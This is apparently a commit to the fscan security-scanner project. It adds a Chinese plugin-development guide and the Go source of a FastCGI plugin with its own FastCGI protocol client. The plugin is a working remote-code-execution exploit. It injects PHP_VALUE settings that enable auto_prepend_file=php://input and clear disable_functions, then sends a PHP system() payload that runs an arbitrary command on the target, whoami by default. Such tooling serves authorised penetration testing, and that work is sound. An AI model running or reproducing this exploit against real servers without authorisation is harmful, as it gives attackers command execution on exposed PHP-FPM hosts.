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docs: 添加插件编写指南
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Docs/插件编写指南.md
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88
Docs/插件编写指南.md
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@ -0,0 +1,88 @@
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# FScan 插件开发指南
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## 1. 创建插件
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在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`:
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```go
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package Plugins
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import (
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"github.com/shadow1ng/fscan/Common"
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)
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func MyPluginScan(info *Common.HostInfo) error {
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// 1. 基础检查
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if info == nil {
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return errors.New("Invalid host info")
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}
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// 2. 实现扫描逻辑
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result, err := doScan(info)
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if err != nil {
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return err
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}
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// 3. 处理结果
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if result.Vulnerable {
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Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port))
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}
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return nil
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}
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```
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## 2. 注册插件
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在 `Core/Registry.go` 中注册你的插件:
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```go
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Common.RegisterPlugin("myplugin", Common.ScanPlugin{
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Name: "MyPlugin",
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Port: 12345, // 指定端口,如果是web类插件可设为0
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ScanFunc: Plugins.MyPluginScan,
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})
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```
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## 3. 开发规范
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### 插件结构
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- 每个插件应当是独立的功能模块
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- 使用清晰的函数名和变量名
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- 添加必要的注释说明功能和实现逻辑
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### 错误处理
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```go
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// 推荐的错误处理方式
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if err != nil {
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return fmt.Errorf("plugin_name scan error: %v", err)
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}
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```
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### 日志输出
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```go
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// 使用内置的日志函数
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Common.LogSuccess("发现漏洞")
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Common.LogError("扫描错误")
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```
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## 4. 测试验证
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- 编译整个项目确保无错误
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- 实际环境测试插件功能
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- 验证与其他插件的兼容性
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## 5. 提交流程
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1. Fork 项目仓库
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2. 创建功能分支
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3. 提交代码更改
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4. 编写清晰的提交信息
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5. 创建 Pull Request
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## 注意事项
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- 遵循 Go 编码规范
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- 保证代码可读性和可维护性
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- 禁止提交恶意代码
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- 做好异常处理和超时控制
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- 避免过度消耗系统资源
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- 注意信息安全,不要泄露敏感数据
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package Plugins
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import (
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"bufio"
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"bytes"
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"encoding/binary"
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"errors"
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"fmt"
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"github.com/shadow1ng/fscan/Common"
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"io"
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"strconv"
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"strings"
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"sync"
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"time"
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)
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//links
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//https://xz.aliyun.com/t/9544
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//https://github.com/wofeiwo/webcgi-exploits
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// FcgiScan 执行FastCGI服务器漏洞扫描
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func FcgiScan(info *Common.HostInfo) error {
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// 如果设置了暴力破解模式则跳过
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if Common.IsBrute {
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return nil
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}
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fmt.Println("[+] Fcgi扫描模块开始...")
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// 设置目标URL路径
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url := "/etc/issue"
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if Common.Path != "" {
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url = Common.Path
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}
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addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
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// 构造PHP命令注入代码
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var reqParams string
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var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
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switch {
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case Common.Command == "read":
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reqParams = "" // 读取模式
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case Common.Command != "":
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reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
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default:
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reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
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}
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// 设置FastCGI环境变量
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env := map[string]string{
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"SCRIPT_FILENAME": url,
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"DOCUMENT_ROOT": "/",
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"SERVER_SOFTWARE": "go / fcgiclient ",
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"REMOTE_ADDR": "127.0.0.1",
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"SERVER_PROTOCOL": "HTTP/1.1",
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}
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// 根据请求类型设置对应的环境变量
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if len(reqParams) != 0 {
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env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
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env["REQUEST_METHOD"] = "POST"
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env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
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} else {
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env["REQUEST_METHOD"] = "GET"
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}
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// 建立FastCGI连接
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fcgi, err := New(addr, Common.Timeout)
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defer func() {
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if fcgi.rwc != nil {
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fcgi.rwc.Close()
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}
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}()
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if err != nil {
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fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
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return err
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}
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// 发送FastCGI请求
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stdout, stderr, err := fcgi.Request(env, reqParams)
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if err != nil {
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fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
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return err
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}
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// 处理响应结果
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output := string(stdout)
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var result string
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if strings.Contains(output, cutLine) {
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// 命令执行成功,提取输出结果
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output = strings.SplitN(output, cutLine, 2)[0]
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if len(stderr) > 0 {
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result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
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info.Host, info.Ports, output, string(stderr))
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} else {
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result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
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info.Host, info.Ports, output)
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}
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Common.LogSuccess(result)
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} else if strings.Contains(output, "File not found") ||
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strings.Contains(output, "Content-type") ||
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strings.Contains(output, "Status") {
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// 目标存在FastCGI服务但可能路径错误
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if len(stderr) > 0 {
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result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
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info.Host, info.Ports, output, string(stderr))
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} else {
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result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
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info.Host, info.Ports, output)
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}
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Common.LogSuccess(result)
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}
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fmt.Println("[+] Fcgi扫描模块结束...")
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return nil
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}
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// for padding so we don't have to allocate all the time
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// not synchronized because we don't care what the contents are
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var pad [maxPad]byte
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const (
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FCGI_BEGIN_REQUEST uint8 = iota + 1
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FCGI_ABORT_REQUEST
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FCGI_END_REQUEST
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FCGI_PARAMS
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FCGI_STDIN
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FCGI_STDOUT
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FCGI_STDERR
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)
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const (
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FCGI_RESPONDER uint8 = iota + 1
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)
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const (
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maxWrite = 6553500 // maximum record body
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maxPad = 255
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)
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type header struct {
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Version uint8
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Type uint8
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Id uint16
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ContentLength uint16
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PaddingLength uint8
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Reserved uint8
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}
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func (h *header) init(recType uint8, reqId uint16, contentLength int) {
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h.Version = 1
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h.Type = recType
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h.Id = reqId
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h.ContentLength = uint16(contentLength)
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h.PaddingLength = uint8(-contentLength & 7)
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}
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type record struct {
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h header
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buf [maxWrite + maxPad]byte
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}
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func (rec *record) read(r io.Reader) (err error) {
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if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
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return err
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}
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if rec.h.Version != 1 {
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return errors.New("fcgi: invalid header version")
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}
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n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
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if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
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return err
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}
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return nil
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}
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func (r *record) content() []byte {
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return r.buf[:r.h.ContentLength]
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}
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type FCGIClient struct {
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mutex sync.Mutex
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rwc io.ReadWriteCloser
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h header
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buf bytes.Buffer
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keepAlive bool
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}
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func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
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conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
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fcgi = &FCGIClient{
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rwc: conn,
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keepAlive: false,
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}
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return
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}
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func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
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c.mutex.Lock()
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defer c.mutex.Unlock()
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c.buf.Reset()
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c.h.init(recType, reqId, len(content))
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if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
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return err
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}
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if _, err := c.buf.Write(content); err != nil {
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return err
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}
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if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
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return err
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}
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_, err = c.rwc.Write(c.buf.Bytes())
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return err
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}
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func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
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b := [8]byte{byte(role >> 8), byte(role), flags}
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return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
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}
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func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
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b := make([]byte, 8)
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binary.BigEndian.PutUint32(b, uint32(appStatus))
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b[4] = protocolStatus
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return c.writeRecord(FCGI_END_REQUEST, reqId, b)
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}
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func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
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w := newWriter(c, recType, reqId)
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b := make([]byte, 8)
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for k, v := range pairs {
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n := encodeSize(b, uint32(len(k)))
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n += encodeSize(b[n:], uint32(len(v)))
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if _, err := w.Write(b[:n]); err != nil {
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return err
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}
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if _, err := w.WriteString(k); err != nil {
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return err
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}
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if _, err := w.WriteString(v); err != nil {
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return err
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}
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}
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w.Close()
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return nil
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}
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func readSize(s []byte) (uint32, int) {
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if len(s) == 0 {
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return 0, 0
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}
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size, n := uint32(s[0]), 1
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if size&(1<<7) != 0 {
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if len(s) < 4 {
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return 0, 0
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}
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n = 4
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size = binary.BigEndian.Uint32(s)
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size &^= 1 << 31
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}
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return size, n
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}
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func readString(s []byte, size uint32) string {
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if size > uint32(len(s)) {
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return ""
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}
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return string(s[:size])
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}
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func encodeSize(b []byte, size uint32) int {
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if size > 127 {
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size |= 1 << 31
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binary.BigEndian.PutUint32(b, size)
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return 4
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}
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b[0] = byte(size)
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return 1
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}
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// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
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// Closed.
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type bufWriter struct {
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closer io.Closer
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*bufio.Writer
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}
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func (w *bufWriter) Close() error {
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if err := w.Writer.Flush(); err != nil {
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w.closer.Close()
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return err
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}
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return w.closer.Close()
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}
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func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
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s := &streamWriter{c: c, recType: recType, reqId: reqId}
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w := bufio.NewWriterSize(s, maxWrite)
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return &bufWriter{s, w}
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}
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// streamWriter abstracts out the separation of a stream into discrete records.
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// It only writes maxWrite bytes at a time.
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type streamWriter struct {
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c *FCGIClient
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recType uint8
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reqId uint16
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}
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func (w *streamWriter) Write(p []byte) (int, error) {
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nn := 0
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for len(p) > 0 {
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n := len(p)
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if n > maxWrite {
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n = maxWrite
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}
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if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
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return nn, err
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}
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nn += n
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p = p[n:]
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}
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return nn, nil
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}
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func (w *streamWriter) Close() error {
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// send empty record to close the stream
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return w.c.writeRecord(w.recType, w.reqId, nil)
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}
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func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
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var reqId uint16 = 1
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defer c.rwc.Close()
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err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
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if err != nil {
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return
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}
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err = c.writePairs(FCGI_PARAMS, reqId, env)
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if err != nil {
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return
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}
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if len(reqStr) > 0 {
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err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
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if err != nil {
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return
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}
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}
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rec := &record{}
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var err1 error
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// recive untill EOF or FCGI_END_REQUEST
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for {
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err1 = rec.read(c.rwc)
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if err1 != nil {
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if err1 != io.EOF {
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err = err1
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}
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break
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}
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switch {
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case rec.h.Type == FCGI_STDOUT:
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retout = append(retout, rec.content()...)
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case rec.h.Type == FCGI_STDERR:
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reterr = append(reterr, rec.content()...)
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case rec.h.Type == FCGI_END_REQUEST:
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fallthrough
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default:
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break
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}
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}
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return
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}
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